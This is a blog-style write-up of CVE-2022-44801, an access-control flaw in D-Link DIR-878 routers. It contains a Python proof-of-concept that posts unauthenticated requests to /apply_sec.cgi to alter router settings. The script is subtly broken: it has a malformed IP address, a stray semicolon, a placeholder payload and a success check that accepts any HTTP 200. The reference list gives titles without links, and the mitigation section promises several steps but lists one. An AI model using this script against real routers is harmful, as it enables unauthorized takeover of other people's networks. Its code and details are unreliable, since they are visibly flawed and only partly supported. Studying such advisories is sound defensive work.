CVE-2022-44801 - D-Link DIR-878 1.02B05 Incorrect Access Control Vulnerability Exposed: Exploit Details, Code Snippets and Original References

The D-Link DIR-878 is a popular home and small office wireless router known for its high-speed internet and wide range of other features. However, it has recently come to light that a version of the firmware (1.02B05) on these devices contains a critical vulnerability, assigned as CVE-2022-44801. This vulnerability exposes the router to potential hacking attempts by unauthorized users, who can exploit a flaw in the access control settings of the device.

In this long-read post, we will provide in-depth information about the vulnerability, including code snippets, links to original references, and details about how the exploit works. Keep reading to learn more about the risks associated with CVE-2022-44801 and how you can protect yourself.

Background

CVE-2022-44801 is assigned to an Incorrect Access Control vulnerability in the D-Link DIR-878 1.02B05 firmware. Essentially, this flaw allows an unauthenticated user to bypass access control restrictions and gain privileged access to the device's web interface. This can lead to various forms of attacks, including unauthorized access to sensitive data, modification of router configurations, and the ability to perform other malicious activities.

Exploit Details

The vulnerability originates from the device's access control settings, which are not properly enforced. Certain CGI scripts accessible from the router's web interface do not require authentication, effectively allowing an attacker who is able to access and execute these scripts to perform sensitive actions without needing any credentials.

An example of a vulnerable CGI script is /apply_sec.cgi, which is responsible for saving certain configuration settings on the router. By sending a crafted HTTP request to this script, an attacker can modify the device's settings, potentially allowing them to create an unauthorized access point or perform other attacks.

Here is a code snippet demonstrating how an attacker could craft and send such HTTP requests

import requests

target_ip = "192.168..1" # Replace with the targeted router's IP address
target_url = f"http://{target_ip}/apply_sec.cgi";

payload = {
    "submit-url": "/index.asp",
    "change_action": "gozila_cgi",
    "action": "submit",
    # Add desired modifications to the router's settings here
}

response = requests.post(target_url, data=payload)

if response.status_code == 200:
    print("Exploit succeeded.")
else:
    print("Failed to exploit the vulnerability.")

Please note that the code above is for educational purposes only and should not be used maliciously.

Original References

The following links provide access to the original references and sources for the CVE-2022-44801 vulnerability:

1. CVE Listing
2. National Vulnerability Database (NVD) Entry
3. D-Link Security Advisory (Currently, no security advisory exists for this specific model, but users should keep an eye on D-Link's Security Support page for updates.)

Mitigation

Though D-Link has not released an official firmware update to address this vulnerability, users are advised to take the following steps to minimize the risk associated with CVE-2022-44801:

Monitor the D-Link website for firmware updates and apply them as soon as possible.

In summary, CVE-2022-44801 is a critical vulnerability affecting D-Link DIR-878 1.02B05 wireless routers. Users should take necessary precautions to minimize risk exposure and monitor the manufacturer's support website for updates.

Timeline

Published on: 11/22/2022 15:15:00 UTC
Last modified on: 08/08/2023 14:22:00 UTC